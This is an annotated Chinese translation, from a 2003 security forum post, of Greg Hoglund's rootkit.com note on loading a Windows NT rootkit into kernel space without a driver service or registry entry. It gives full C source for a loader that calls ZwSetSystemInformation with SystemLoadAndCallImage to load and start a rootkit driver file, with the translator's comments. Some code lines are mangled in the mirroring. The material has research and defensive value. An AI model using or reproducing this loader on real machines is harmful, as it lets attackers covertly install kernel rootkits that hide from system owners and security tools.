用SystemLoadAndCallImage載入Rootkit
轉自:http://www.xfocus.net
建立時間:2003-09-25
文章屬性:原創
文章提交:Sephiroth_ (kinvis_at_hotmail.com)
Sephiroth.V
[前言]
我最近對NT Rootkit開始感興趣,無奈國內的資料少得驚人,在這方面幾乎是一片空白,就只有翻譯的Gary Hoglund的一篇《一個修改NT核心的真實的ROOTKIT》。到國外的網站轉了幾天倒是收穫非淺,國外在這方面的研究確實深刻多了。現在我翻譯另一篇Gary Hoglund的文章,在這篇文章裡我加入了一些個人的注釋,如果大家對NT ROOTKIT感興趣的話可以到www.rootkit.com上看看,那裡有Gary Hoglund和很多人的優秀的NT ROOTKIT和大量有價值的資料。
[本文]
大家好。
這段時間以來在NETBUGTRAQ上有個有關在核心模式下如何保護系統免遭ROOTKIT的討論。這是個好現象,我們rootkit.com的目的就是讓人們思考這個問題。比方說,現在就有一個Pedestal Software的ANTI-ROOTKIT(全名Integrity Protection Driver)。
在今年的Blackhat Briefings上,很多聰明的人在談論有多少種方法把代碼載入進核心模式-很明顯是受到“ANTI-ROOTKIT”的影響。很多ROOTKIT的作者也加入其中。所以我們打算改變這個WINDOWS ROOTKIT。
直到現在,這個WINDOWS ROOTKIT還是被設計為一個驅動程式。但是沒有理由一個ROOKIT必須被設計為一個驅動程式--或者一個可載入模組。 去年我們發布了ROOTKIT來證明完全使用者模式的軟體是基本沒有意義的。想想看,任何一個能夠HACK你的系統的人都可以去載入進核心模式,這是100%保證的。如果一個攻擊者用一個使用者級的帳戶進入你的系統,他們然後就是獲得ADMINISTRATOR--以獲得足夠的許可權使你能夠載入核心模式代碼。在這個事實面前,很容易看到你的服務商的解決辦法離開你的知識是十分脆弱的。
將完全的保護放到核心模式的主意挺不錯,不過它不可能完成除非微軟自己解決。如果微軟真這麼做的話,那麼安全公司就會消失:)
現在有人提出一種載入核心模式代碼的方法,使用一個未公布的入口
(entry point)進入核心空間--比方象/dev/physicalmemory裝置,或者一個使用“SystemLoadAndCallImage”的系統調用(syscall)。我們繼續研究,但事實是有一個非作業系統支援的影響點(leverage point)來控制進入核心模式--因為這樣,新的進入點(entry point)總是被發現。
假定微軟真的修補NT結構來保護以免於上面提到的這幾種方法,也仍然有通過在核心裡尋找可供緩衝區溢位的方法。每個你安裝的第三方驅動程式可以給予你通過IOCTL()命令甚至是普通的讀/寫訊息來進行緩衝區溢位的可能。甚至就是NT裡預設的驅動程式在這方面也很脆弱。
當ROOKIT被當做驅動程式處理時,我們使用服務控制管理員(SCM)來從核心空間載入或移除這個驅動程式。這是一個預設標準,並且它需要這個ROOTKIT驅動程式在註冊表CurrentControlSet/Services下有索引值。現在這種情況已經被改變了,我們改進了這個ROOTKIT這樣當它載入進核心空間時既不需要驅動程式也不需要註冊表索引值。我們也不再使用SCM,取而代之的是它使用一個單獨的中斷調用--一個名為
ZwSetSystemInformation()的NT系統調用。使用這個調用我們可以立即載入這個ROOTKIT並啟用它。
-Greg Hoglund
原始碼:
////////////////////////////////////////
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com
////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT *
Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef unsigned long NTSTATUS; //我認為這裡應該是typedef long NTSTATUS,
//否則一個unsigned的值總是不小於0,下面這個宏就會
//出問題
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
NTSTATUS (__stdcall *ZwSetSystemInformation)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);
/*
//有關ZwSetSystemInformation的用法可以參考Gary Nebbett的《Windows NT/2000
//Native API //Reference》
//ZwSetSystemInformation設定影響作業系統的資訊,定義如下:
// NTSYSAPI
// NTSTATUS
// NTAPI
// ZwSetSystemInformation(
// IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
// IN OUT PVOID SystemInformation,
// IN ULONG SystemInformationLength);
//
//參數:
// SystemInformationClass:將被設定的系統資訊的類型,值為
SYSTEM_IMFORMATION_CALSS枚舉的一個// 子集,SystemLoadAndCallImage就是
其中一個:
// typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{//Information Class
38 、 // UNICODE_STRING ModuleName;
// }SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
//
// 成員:
// Module:要載入模組的NATIVE NT格式的完整路徑
//
// 備忘:
// 這個資訊類只能被設定,不是設定任何資訊,而是執行把一個模組載入
到核心地址空間和調// 用其進入點的操作。期望進入點常式是一個帶兩個參
數的__stdcall常式(與裝置驅動程式的 // DriverEntry常式一致)。如果入
口點常式返回一個失敗代碼,則卸載模組。
//
// SystemInformation:指向含有被設定資訊的一個調用者分配的緩衝區或變數
// SystemInformationLength:以位元組為單位的SystemInformaiton的大小,根據給
定的// SystemInformationClass來設定它
//
*/
VOID (__stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
void main(void)
{
///////////////////////////////////////////////////////////////
// Why mess with Drivers?
///////////////////////////////////////////////////////////////
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[] = L"//??//C://_root_.sys";
//////////////////////////////////////////////////////////////
// get DLL entry points
//////////////////////////////////////////////////////////////
if( !(RtlInitUnicodeString =
(void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
"RtlInitUnicodeString" )) ) //在ntdll.dll中擷取
RtlInitUnicodeString地址
exit(1);
if( !(ZwSetSystemInformation =
(void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
"ZwSetSystemInformation" )) ) //在ntdll.dll中擷取
ZwSetSystemInformation地址
exit(1);
RtlInitUnicodeString( &(GregsImage.ModuleName),
daPath ); //建立裝置
if( NT_SUCCESS(
ZwSetSystemInformation( SystemLoadAndCallImage,
&GregsImage,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) )) //載入進核心空間
{
printf("Rootkit Loaded./n");
}
else
{
printf("Rootkit not loaded./n");
}
}
小弟水平有限,難免有錯的地方,各位高手有什麼意見或看法的歡迎和我聯絡
EMAIL:kinvis@hotmail.com